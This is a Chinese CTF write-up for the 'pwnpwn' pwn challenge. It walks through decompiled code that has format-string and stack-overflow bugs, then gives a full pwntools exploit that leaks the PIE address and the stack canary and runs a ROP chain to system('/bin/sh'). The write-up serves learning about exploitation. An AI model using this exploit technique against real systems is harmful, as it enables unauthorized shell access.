pwnpwn(第四届“强网”拟态防御国际精英挑战赛--pwn)
这是一道‘强网’拟态防御线上比赛的一道题目。当时没有做出来,现在来记录一下。
首先这是一道 canary 加libc的题目。
保护全开,对于青铜段位的我来说可是下了一跳。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h]
unsigned __int64 (*v5)(); // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(*&argc, argv, envp);
puts("welcome to mimic world,try something");
do
{
_isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
puts("let us give you some trick");
v5 = vuln;
printf("%p\n", vuln);
}
if ( v4 == 2 )
vuln();
}
while ( v4 != 3 );
return 0;
}
这是主函数,我们再来看看vuln函数
unsigned __int64 vuln()
{
signed int i; // [rsp+Ch] [rbp-74h]
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("hello");
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200uLL);
printf(&buf, &buf);
}
return __readfsqword(0x28u) ^ v3;
}
输入一就会打印出vuln函数的地址,程序由于开启的PIE所以我们需要依靠这个地址来计算libc的地址。要接收这个地址。
如果我们输入2,就会进入vuln函数,我们可以看到vuln函数存在栈溢出漏洞和格式化字符串漏洞。程序开启了canary保护所以我们需要通过printf函数打印出canary的值
从而绕过保护。
我们可以看到程序中有 /bin/sh字符串。注意ida中的地址都是相对偏移量,不是真正的地址。所以前面打印出的vuln的地址就有很大用处了。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
r=process('./pwnpwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
sla('welcome to mimic world,try something\n',"1")
ru('0x')
vul_addr=int(rc(12),16)#接收vuln函数的地址
libc_base=vul_addr-0x9b9 #0x9b9是vuln函数的相对偏移,在ida中可以看到
bin_sh=libc_base+0x202010#计算/bin/sh的真实地址
pop_rdi=libc_base+0xb83#ROPgadget 可以查到
system_addr=libc_base+0x951 #这里0x951是call system 汇编指令的相对偏移
sl("2")
sa("hello", "a" * 0x69)#通过覆盖canary最一位的00让printf函数打印出canary的值
ru('a'*0x69)
canary = u64('\x00' + rc(7))#接收canary
sl("a" * 0x68 + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr))
r.interactive()